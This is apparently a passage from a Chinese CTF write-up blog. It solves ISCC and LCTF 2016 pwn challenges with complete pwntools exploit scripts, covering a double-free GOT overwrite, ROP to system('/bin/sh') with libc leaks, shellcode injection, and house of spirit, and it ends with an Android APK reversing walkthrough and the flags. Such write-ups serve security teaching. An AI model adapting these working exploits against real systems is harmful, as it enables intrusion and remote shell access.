(strtoq) ◂— mov rax, qword ptr [rip + 0x362189] 0c:0060│ 0x602060 (malloc@got.plt) —▸ 0x7f5fa992dee0 (malloc) ◂— push rbp 0d:0068│ 0x602068 (setvbuf@got.plt) —▸ 0x7f5fa991c720 (setvbuf) ◂— push r13 0e:0070│ 0x602070 (__isoc99_scanf@got.plt) —▸ 0x7f5fa9917e80 (__isoc99_scanf) ◂— push rbx 0f:0078│ 0x602078 (exit@got.plt) —▸ 0x4007d6 (exit@plt+6) ◂— push 0xc /* 'h\x0c' */ 10:0080│ 0x602080 (data_start) ◂— 0x0 ... ↓ pwndbg>
看起來在執行過add_paper這個功能後,有0x602000+2, 0x602030+2, 0x602038+2,0x602050+2四處地址能夠提供合適的size,但選擇0x602000+2的話,同時會修改,_GLOBAL_OFFSET_TABLE_的值,形成不可預知的後果,0x602038+2,0x602050+2也會由於函數執行前後順序的關係形成程序crash,能夠選擇0x602030+2做爲chunk的首地址,此時的size(0x602030+2+8)爲0x????????00000040,能夠經過malloc的驗證,user data段從0x602030+2+0x10開始,能夠覆寫strtol@got爲gg的地址,進而get shell
pwndbg> x/8gx 0x602030+2 0x602032 <__stack_chk_fail@got.plt+2>: 0x0756000000000040 0xa160000000000040 0x602042 <printf@got.plt+2>: 0xb1c000007f2cd78b 0x078600007f2cd788 0x602052 <__gmon_start__@got.plt+2>: 0x1c40000000000040 0x5ee000007f2cd78a 0x602062 <malloc@got.plt+2>: 0x472000007f2cd78e 0xfe8000007f2cd78d pwndbg> 這須要咱們控制malloc的參數爲0x40-0x10
最終的exp以下:
Desktop cat exp.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from pwn import * from time import sleep import sys context.terminal = ["deepin-terminal", "-x", "sh", "-c"] elf = ELF("./pwn3") if sys.argv[1] == "l": context.log_level = "debug" # env = {'LD_PRELOAD': ''} # io = process("", env = env) io = process("./pwn3") libc = elf.libc else: io = remote("47.104.16.75", 8999) # libc = ELF("") def DEBUG(): raw_input("DEBUG: ") gdb.attach(io, "b *0x400B26") def add(idx, length, content): io.sendlineafter("2 delete paper\n", "1") sleep(0.01) io.sendlineafter(":", str(idx)) sleep(0.01) io.sendlineafter(":", str(length)) sleep(0.01) io.sendlineafter(":", content) sleep(0.01) def delete(idx): io.sendlineafter("2 delete paper\n", "2") sleep(0.01) io.sendlineafter(":", str(idx)) sleep(0.01) if __name__ == "__main__": fakeChunk = 0x602030+2 add(0, 0x30, '0000') add(1, 0x30, '1111') delete(0) # 0 delete(1) # 1 -> 0 delete(0) # 0 -> 1 -> 0 add(0, 0x30, p64(fakeChunk)) # 1 -> 0 -> fakeChunk add(1, 0x30, '1111') # 0 -> fakeChunk add(2, 0x30, '2222') # fakeChunk # payload = 'aaaaaaaabbbbbbbbccccccccdddddddd' payload = p8(0) * (3 * 8 - 2) + p64(elf.sym['gg']) * 2 # DEBUG() add(3, 0x30, payload) io.sendlineafter("2 delete paper\n", "2") # trigger strtol # delete(0) io.interactive() io.close() # flag{ISCC_SoEasy}
double free的模板題,並不難
64位動態連接的程序,沒有開啓canary和PIE,看起來能夠暴力棧溢出了,經過分析Menu函數中輸入choice時存在棧溢出,而且程序中有system函數,這樣就能夠控制Menu函數返回到system了,但要執行system("/bin/sh")的話還須要控制rdi指向/bin/sh,常規的思路是經過rop控制write函數將/bin/sh寫到bss或者data等固定地址,但這裏由於程序中有flu sh函數,所以必然存在sh字符串,直接控制便可
剛開始沒注意程序中存在system函數,用了leak兩個got中地址查找libc版本而後system(/bin/sh)的方法,也把腳本貼在下邊了
ROP的詳細介紹能夠看這個slide
Desktop cat iscc_pwn200_1.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from pwn import * from time import sleep import sys context.arch = 'amd64' context.log_level = "debug" context.terminal = ["deepin-terminal", "-x", "sh", "-c"] elf = ELF("./pwn50") if sys.argv[1] == "l": # env = {'LD_PRELOAD': ''} # io = process("", env = env) io = process("./pwn50") libc = elf.libc else: io = remote("47.104.16.75", 9000) # libc = ELF("") def DEBUG(): raw_input("DEBUG: ") gdb.attach(io) if __name__ == '__main__': popRdi = 0x0000000000400b03 io.sendlineafter(': ', 'guest') io.sendlineafter(': ', 'guest') # ROPgadget --binary ./pwn50 --string sh payload = flat([cyclic(0x50 + 0x8), popRdi, 0x0000000000400407, elf.plt['system']]) io.sendlineafter(": ", payload) io.sendlineafter(": ", '3') io.interactive() io.close() Desktop cat iscc_pwn200_2.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from pwn import * from time import sleep import sys context.arch = 'amd64' context.log_level = "debug" context.terminal = ["deepin-terminal", "-x", "sh", "-c"] elf = ELF("./pwn50") if sys.argv[1] == "l": # env = {'LD_PRELOAD': ''} # io = process("", env = env) io = process("./pwn50") libc = elf.libc else: io = remote("47.104.16.75", 9000) libc = ELF("./libc6_2.19-0ubuntu6.14_amd64.so") oneGadgetOffset = 0x46428 oneGadgetOffset = 0x4647c oneGadgetOffset = 0xe9415 oneGadgetOffset = 0xea36d def DEBUG(): raw_input("DEBUG: ") gdb.attach(io) popRdi = 0x0000000000400b03 if __name__ == "__main__": io.sendlineafter(': ', 'guest') io.sendlineafter(': ', 'guest') payload = flat([cyclic(0x50 + 8), popRdi, elf.got['puts'], elf.plt['puts'], popRdi, elf.got['read'], elf.plt['puts'], elf.sym['Menu']]) io.sendlineafter(": ", payload) io.sendlineafter(": ", '3') putsAddr = u64(io.recvuntil('\x7f')[-6: ].ljust(8, '\x00')) success('putsAddr -> {:#x}'.format(putsAddr)) readAddr = u64(io.recvuntil('\x7f')[-6: ].ljust(8, '\x00')) success('readAddr -> {:#x}'.format(readAddr)) libcBase = readAddr - libc.sym['read'] success('libcBase -> {:#x}'.format(libcBase)) pause() oneGadget = libcBase + 0x46428 payload = flat([cyclic(0x50 + 0x8), popRdi, libcBase + next(libc.search('/bin/sh')), libcBase + libc.sym['system'], 0xdeadbeef]) # DEBUG() io.sendlineafter(": ", payload) io.sendlineafter(": ", '3') io.interactive() io.close() # flag{welcome_to_iscc}
64位rop的模板題,還給了system函數
lctf2016的pwn200原題,甚至保留的當時出題失誤的非預期解
題目的漏洞很容易發現:
當輸入的字符串長度爲48時,根據read的特性不會給輸入的末尾加'\x00',此時就能夠經過下邊的printf來leak某些地址,調試能夠發現leak的是0x400A8E這個函數的rbp,這樣咱們就有了一個棧上的地址,根據棧上的偏移是固定的進而能夠獲得整個棧佈局的地址(如輸入的shellcode的地址和函數的返回地址)
輸入0x40位buf時,後8位會覆蓋dest,經過strcpy能夠形成一次任意地址寫
先說非預期解
程序沒有開任何保護,根據以上兩個漏洞,就能夠有以下的思路:
首先根據leak出的rbp地址定位到輸入的shellcode的地址,而後再經過任意地址寫改寫某個函數的got爲shellcode的地址便可,個人作法是覆寫printf@got爲shellcode的地址,exp以下
lctf2016_pwn200 [master●] cat solve.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from pwn import * context.terminal = ['deepin-terminal', '-x', 'sh', '-c'] context(arch = 'amd64', os = 'linux', log_level = 'debug') io = process("./pwn200") io.sendafter("?\n", '0' * 48) rbpAddr = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) success("rbpAddr -> {:#x}".format(rbpAddr)) # raw_input("DEBUG: ") # gdb.attach(io) io.sendlineafter("?\n", "0") payload = p64(rbpAddr - 0xb8) + asm(shellcraft.execve("/bin/sh")) payload = payload.ljust(0x40 - 8, '\x90') payload += p64(0x0000000000602030) io.sendafter("~\n", payload) io.interactive() io.close()
lctf的出題人也認可這一題出題失誤形成了這樣一個非預期解的出現
預期解是使用house of spirit這種攻擊方法,house of spirit的基本思想是棧上溢出的長度不夠覆蓋到ret,但足夠覆蓋某些堆指針時,能夠改寫該堆指針並僞造chunk,經過free將該僞造的chunk添加進bin,進而控制咱們下一次malloc的地址,固然這須要經過一些檢查,具體細節能夠看這個slide
exp以下:
lctf2016_pwn200 [master●] cat hos.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from pwn import * context(log_level = 'debug', arch = 'amd64', os = 'linux') context.terminal = ["deepin-terminal", '-x', 'sh', '-c'] def DEBUG(): raw_input("DEBUG: ") gdb.attach(io) io = process("./pwn200") # who are u? sc = asm(shellcraft.execve("/bin/sh")) io.sendafter("?\n", sc.ljust(48, '0')) rbpAddr = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) success("rbpAddr -> {:#x}".format(rbpAddr)) scAddr = rbpAddr - 0x50 fakeChunk = rbpAddr - 0x90 # give me your id io.sendlineafter("?\n", str(0x20)) # id # give me money payload = p64(0) * 5 + p64(0x41) payload = payload.ljust(0x40 - 8, '\x00') + p64(fakeChunk) io.sendlineafter("~\n", payload) # free io.sendlineafter(": ", "2") # malloc io.sendlineafter(": ", "1") io.sendlineafter("?\n", str(0x30)) payload = 'a' * 0x18 + p64(scAddr) payload = payload.ljust(48, '\x00') io.send(payload) # ret io.sendlineafter(": ", "3") io.interactive() io.close()
彷佛由於apktool的強大,這道題變得很簡單
直接拿apktool反編譯apk,在assets目錄下發現了兩個jar包和一個python,但實際上bfsprotect.jar是dex文件
Desktop apktool d crack.apk Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=gasp I: Using Apktool 2.2.3-dirty on crack.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /home/m4x/.local/share/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files... Desktop cd crack/assets assets ls bfsprotect.jar newDex.jar reverse.py assets file bfsprotect.jar bfsprotect.jar: Dalvik dex file version 035
使用dex2jar將dex轉爲jar
assets file bfsprotect.jar bfsprotect.jar: Dalvik dex file version 035 assets dex2jar ./bfsprotect.jar Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=gasp ./bfsprotect-dex2jar.jar exists, use --force to overwrite assets file bfsprotect-dex2jar.jar bfsprotect-dex2jar.jar: Zip archive data, at least v1.0 to extract
而後使用jd-gui打開jar包,就能在MainActivity找到onClick函數了
public void onClick(View paramAnonymousView) { paramAnonymousView = MainActivity.this.editText.getText().toString(); if (!new ProtectClass().protectMethod(paramAnonymousView)) { Toast.makeText(MainActivity.this, "Wrong Flag", 0).show(); return; } Toast.makeText(MainActivity.this, "Correct Flag", 0).show(); }
咱們在看一下ProtectClass中的protectMethod方法(由於多態,存在多個protectMethod方法,根據參數類型選擇正確的protectMethod)
public boolean protectMethod(String paramString) { int i = 0; for (;;) { if (i >= MainActivity.runTimes >> 1) { return paramString.equals("BFS-ISCC"); } if ("123456".equals("123456")) {} i += 1; } }
發現有一個沒什麼卵用的循環,最後只須要讓輸入等於BFS-ISCC便可,試了一下,這個就是flag了
做者: LB919
出處:http://www.cnblogs.com/L1B0/
若有轉載,榮幸之至!請隨手標明出處;